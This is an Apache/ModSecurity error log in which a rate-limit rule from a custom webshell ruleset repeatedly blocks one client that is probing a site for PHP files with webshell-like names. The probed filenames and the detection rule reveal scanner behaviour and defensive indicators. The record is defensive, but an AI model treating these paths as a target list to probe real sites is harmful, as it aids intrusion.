[Sun Apr 12 01:32:40.016052 2026] [:error] [pid 36909:tid 36924] [client 4.232.184.116:11252] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "adqFuEGk5GhxTCzHUOoWpAAAAQ0"]
[Sun Apr 12 01:32:40.676245 2026] [:error] [pid 34152:tid 34156] [client 4.232.184.116:11181] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "adqFuIFtE4RhFslT1Dq9SwAAAAI"]
[Sun Apr 12 01:32:41.401131 2026] [:error] [pid 45064:tid 45098] [client 4.232.184.116:11140] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "adqFuZcHBvLyJ6EUhUr9mQAAAUY"]
[Sun Apr 12 01:32:42.207071 2026] [:error] [pid 45064:tid 45103] [client 4.232.184.116:11194] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "adqFupcHBvLyJ6EUhUr9nAAAAUo"]
[Sun Apr 12 01:32:42.931820 2026] [:error] [pid 44701:tid 44781] [client 4.232.184.116:11176] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adqFuhGZAP4MrlxEPFc46QAAAEg"]
[Sun Apr 12 01:32:43.875555 2026] [:error] [pid 36938:tid 36940] [client 4.232.184.116:11160] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adqFu4SWpa_VL1JPU6zcDAAAAYA"]
[Sun Apr 12 01:32:44.365413 2026] [:error] [pid 34152:tid 34167] [client 4.232.184.116:11209] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adqFvIFtE4RhFslT1Dq9WwAAAA0"]
[Sun Apr 12 01:32:45.339524 2026] [:error] [pid 34152:tid 34164] [client 4.232.184.116:11221] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adqFvYFtE4RhFslT1Dq9YAAAAAo"]
[Sun Apr 12 01:32:46.127972 2026] [:error] [pid 36909:tid 36925] [client 4.232.184.116:11138] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adqFvkGk5GhxTCzHUOoWqAAAAQ4"]
[Sun Apr 12 01:32:47.122093 2026] [:error] [pid 36909:tid 36915] [client 4.232.184.116:11262] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adqFv0Gk5GhxTCzHUOoWqwAAAQQ"]
[Sun Apr 12 01:32:47.644284 2026] [:error] [pid 34152:tid 34154] [client 4.232.184.116:11202] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adqFv4FtE4RhFslT1Dq9YwAAAAA"]
[Sun Apr 12 01:32:48.331409 2026] [:error] [pid 44700:tid 44760] [client 4.232.184.116:11254] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adqFwGryPgh_uW4QPCllBgAAANA"]
[Sun Apr 12 01:32:49.056768 2026] [:error] [pid 44698:tid 44723] [client 4.232.184.116:11237] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "adqFwRgoH9UWd-U3D55gJQAAAJQ"]
[Sun Apr 12 01:32:50.359968 2026] [:error] [pid 36909:tid 36911] [client 4.232.184.116:11137] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "adqFwkGk5GhxTCzHUOoWrgAAAQA"]
[Sun Apr 12 01:32:51.199822 2026] [:error] [pid 36909:tid 36935] [client 4.232.184.116:11166] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "adqFw0Gk5GhxTCzHUOoWtwAAARg"]
[Sun Apr 12 01:32:52.141761 2026] [:error] [pid 44700:tid 44763] [client 4.232.184.116:11170] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "adqFxGryPgh_uW4QPCllCQAAANM"]
[Sun Apr 12 01:32:53.110899 2026] [:error] [pid 44698:tid 44703] [client 4.232.184.116:11193] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "adqFxRgoH9UWd-U3D55gKwAAAIA"]
[Sun Apr 12 01:32:53.985037 2026] [:error] [pid 44698:tid 44719] [client 4.232.184.116:11142] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "adqFxRgoH9UWd-U3D55gLQAAAJA"]
[Sun Apr 12 01:32:54.813568 2026] [:error] [pid 44700:tid 44766] [client 4.232.184.116:11151] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "adqFxmryPgh_uW4QPCllDAAAANY"]
[Sun Apr 12 01:32:55.330331 2026] [:error] [pid 34152:tid 34169] [client 4.232.184.116:11088] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "adqFx4FtE4RhFslT1Dq9eQAAAA8"]
[Sun Apr 12 01:32:55.905864 2026] [:error] [pid 36938:tid 36956] [client 4.232.184.116:11239] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "adqFx4SWpa_VL1JPU6zcJgAAAZA"]
[Sun Apr 12 01:32:56.615044 2026] [:error] [pid 36909:tid 36922] [client 4.232.184.116:11238] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "adqFyEGk5GhxTCzHUOoWwwAAAQs"]
[Sun Apr 12 01:32:57.416830 2026] [:error] [pid 36909:tid 36928] [client 4.232.184.116:11143] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "adqFyUGk5GhxTCzHUOoWxQAAARE"]
[Sun Apr 12 01:32:58.056659 2026] [:error] [pid 36909:tid 36914] [client 4.232.184.116:11173] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "adqFykGk5GhxTCzHUOoWxgAAAQM"]
[Sun Apr 12 01:32:58.924116 2026] [:error] [pid 44701:tid 44774] [client 4.232.184.116:11093] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "adqFyhGZAP4MrlxEPFc47gAAAEI"]
[Sun Apr 12 01:32:59.716671 2026] [:error] [pid 44701:tid 44782] [client 4.232.184.116:11242] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "adqFyxGZAP4MrlxEPFc48wAAAEk"]
[Sun Apr 12 01:33:00.388452 2026] [:error] [pid 34152:tid 34170] [client 4.232.184.116:11087] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "adqFzIFtE4RhFslT1Dq9igAAABA"]
[Sun Apr 12 01:33:00.933917 2026] [:error] [pid 44701:tid 44796] [client 4.232.184.116:11256] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "adqFzBGZAP4MrlxEPFc4-wAAAFU"]
[Sun Apr 12 01:33:01.511373 2026] [:error] [pid 34152:tid 34162] [client 4.232.184.116:11152] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adqFzYFtE4RhFslT1Dq9iwAAAAg"]
[Sun Apr 12 01:33:01.986924 2026] [:error] [pid 44701:tid 44778] [client 4.232.184.116:11240] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adqFzRGZAP4MrlxEPFc4_AAAAEY"]
[Sun Apr 12 01:33:02.771703 2026] [:error] [pid 44701:tid 44771] [client 4.232.184.116:11217] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adqFzhGZAP4MrlxEPFc4_gAAAEA"]
[Sun Apr 12 01:33:03.476932 2026] [:error] [pid 34152:tid 34174] [client 4.232.184.116:11261] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adqFz4FtE4RhFslT1Dq9kQAAABQ"]
[Sun Apr 12 01:33:03.947947 2026] [:error] [pid 44698:tid 44710] [client 4.232.184.116:11226] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adqFzxgoH9UWd-U3D55gSwAAAIc"]
[Sun Apr 12 01:33:04.416737 2026] [:error] [pid 44701:tid 44793] [client 4.232.184.116:11247] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adqF0BGZAP4MrlxEPFc5AgAAAFI"]
[Sun Apr 12 01:33:05.170125 2026] [:error] [pid 34152:tid 34163] [client 4.232.184.116:11253] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adqF0YFtE4RhFslT1Dq9kwAAAAk"]
[Sun Apr 12 01:33:05.789488 2026] [:error] [pid 44698:tid 44704] [client 4.232.184.116:11243] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adqF0RgoH9UWd-U3D55gTgAAAIE"]
[Sun Apr 12 01:33:06.472031 2026] [:error] [pid 44701:tid 44782] [client 4.232.184.116:11220] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "adqF0hGZAP4MrlxEPFc5BQAAAEk"]
[Sun Apr 12 01:33:07.176456 2026] [:error] [pid 44698:tid 44705] [client 4.232.184.116:11189] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "adqF0xgoH9UWd-U3D55gUAAAAII"]
[Sun Apr 12 01:33:07.771728 2026] [:error] [pid 44700:tid 44744] [client 4.232.184.116:11245] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "adqF02ryPgh_uW4QPCllGwAAAMA"]
[Sun Apr 12 01:33:08.266332 2026] [:error] [pid 44698:tid 44708] [client 4.232.184.116:11210] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "adqF1BgoH9UWd-U3D55gUQAAAIU"]
[Sun Apr 12 01:33:08.909920 2026] [:error] [pid 44700:tid 44745] [client 4.232.184.116:11099] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "adqF1GryPgh_uW4QPCllHgAAAME"]
[Sun Apr 12 01:33:09.902309 2026] [:error] [pid 36909:tid 36922] [client 4.232.184.116:11097] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "adqF1UGk5GhxTCzHUOoW0gAAAQs"]
[Sun Apr 12 01:33:10.600564 2026] [:error] [pid 44701:tid 44779] [client 4.232.184.116:11188] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "adqF1hGZAP4MrlxEPFc5DQAAAEc"]
[Sun Apr 12 01:33:11.133078 2026] [:error] [pid 44701:tid 44794] [client 4.232.184.116:11157] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "adqF1xGZAP4MrlxEPFc5DwAAAFM"]
[Sun Apr 12 01:33:11.895502 2026] [:error] [pid 36909:tid 36911] [client 4.232.184.116:11215] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adqF10Gk5GhxTCzHUOoW1QAAAQA"]
[Sun Apr 12 01:33:12.688278 2026] [:error] [pid 44700:tid 44751] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/n3yUmQ6Q9xwQ8ocdefault.php
[Sun Apr 12 01:33:13.394752 2026] [:error] [pid 44700:tid 44768] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/Spow_SRw.php
[Sun Apr 12 01:33:13.630673 2026] [:error] [pid 44700:tid 44761] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/albrt.php
[Sun Apr 12 01:33:13.903923 2026] [:error] [pid 44700:tid 44750] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/xxivicLhot.php
[Sun Apr 12 01:33:14.394338 2026] [:error] [pid 44700:tid 44749] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/7logs.php
[Sun Apr 12 01:33:14.636654 2026] [:error] [pid 44700:tid 44764] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/acc.php
[Sun Apr 12 01:33:14.934493 2026] [:error] [pid 44700:tid 44752] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/wxeyc.php
[Sun Apr 12 01:33:15.186387 2026] [:error] [pid 44700:tid 44753] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Sun Apr 12 01:33:15.420820 2026] [:error] [pid 44700:tid 44765] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Sun Apr 12 01:33:15.655826 2026] [:error] [pid 44700:tid 44744] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/fyflv.php
[Sun Apr 12 01:33:16.061260 2026] [:error] [pid 44700:tid 44754] [client 4.232.184.116:11174] File does not exist: /usr/local/apache/htdocs/suspended-page/tymi.php
[Sun Apr 12 01:33:16.351485 2026] [:error] [pid 44700:tid 44758] [client 4.232.184.116:11174] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sde.php"] [unique_id "adqF3GryPgh_uW4QPCllLgAAAM4"]
[Sun Apr 12 01:33:16.928442 2026] [:error] [pid 45064:tid 45108] [client 4.232.184.116:11222] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sde.php"] [unique_id "adqF3JcHBvLyJ6EUhUr9pwAAAU8"]
[Sun Apr 12 01:33:17.760046 2026] [:error] [pid 36938:tid 36944] [client 4.232.184.116:11198] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sde.php"] [unique_id "adqF3YSWpa_VL1JPU6zcRgAAAYQ"]
[Sun Apr 12 01:33:18.529684 2026] [:error] [pid 36909:tid 36935] [client 4.232.184.116:11149] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sde.php"] [unique_id "adqF3kGk5GhxTCzHUOoW2wAAARg"]
[Sun Apr 12 01:33:19.787518 2026] [:error] [pid 45064:tid 45117] [client 4.232.184.116:11164] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "adqF35cHBvLyJ6EUhUr9qgAAAVg"]
[Sun Apr 12 01:33:20.825341 2026] [:error] [pid 34152:tid 34163] [client 4.232.184.116:11244] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpb.php"] [unique_id "adqF4IFtE4RhFslT1Dq9owAAAAk"]
